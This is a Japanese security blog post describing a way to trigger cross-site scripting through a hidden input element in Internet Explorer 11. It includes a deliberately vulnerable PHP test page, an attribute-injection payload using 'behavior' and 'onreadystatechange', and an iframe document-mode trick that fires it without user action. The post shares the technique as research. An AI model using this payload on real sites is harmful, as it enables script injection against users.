<input type=hidden>
でのXSSが話題になっていますね!hiddenなinput要素のXSSでJavaScript実行 | 徳丸浩の日記
http://blog.tokumaru.org/2016/04/hiddeninputxssjavascript.html
僕もちょうど、個人での検証の過程で発見した、hiddenでのXSS手法について、そろそろ共有しようと思っていたところでした。皆の関心が高いうちに、もう1つの方法を共有したいと思います!
徳丸さんのコードに倣って紹介します。今回は問題を簡単にするために
X-XSS-Protection:0
をつけさせてもらいます。<?phpこの条件でIE11でユーザー操作を伴わないXSSをします!こうです!
header('X-XSS-Protection:0');
header('Content-Type:text/html;charset=utf-8');
?>
<body>
入力確認をお願いします。
<?php echo htmlspecialchars($_GET['t']); ?><br>
<form action='submit.php'>
<input type='hidden' name='t' value='<?php
echo htmlspecialchars($_GET['t']); ?>'>
<input type='submit'>
</body>
http://example/test.php?t='style='behavior:url(?)'onreadystatechange='alert(1)
<body>
入力確認をお願いします。
'style='behavior:url(?)'onreadystatechange='alert(1)<br>
<form action='submit.php'>
<input type='hidden' name='t' value=''style='behavior:url(?)'onreadystatechange='alert(1)'>
<input type='submit'>
</body>
style
属性にbehavior
をつけ、behavior
のURLの値に、任意の同一オリジン内のURLを指定すると、たとえhiddenの中でも、onreadystatechange
イベントが発火するようになります。ただし、
behavior
はIE10モード以下でないとサポートされていないので、ここにアクセスするだけでは動作しません。そこで、以前Shibuya.XSSの以下のスライドで紹介した、ドキュメントモードの継承というテクニックを使う必要があります。ドキュメントモードを変えたページからフレームに埋め込めば、フレーム中のページのドキュメントモードも変更できるというテクニックでしたね。 というわけで、以下のようにIE10モードのページからフレームに埋め込めば、
<meta http-equiv="x-ua-compatible" content="IE=10">アラートが動作するはずです!
<iframe src="http://example/test.php?t='style='behavior:url(?)'onreadystatechange='alert(1)"></iframe>
ちなみに、
behavior
に指定したURLが一度キャッシュされると、onreadystatechange
イベントが発火しなくなるようなので注意してください。一度動いたのに動かなくなったという人は、このURLの文字列を適当な別のものに変えてみると、また動くようになると思います。以上、IEでhiddenなinput要素でユーザー操作を使わずにXSSする手法を紹介しました。
もう1つ、Firefoxで、ユーザー操作不要の非常にトリッキーなhiddenでのXSS手法を知っています。これは次回の(?)ブログで紹介したいと思います。お楽しみに!
0 件のコメント:
コメントを投稿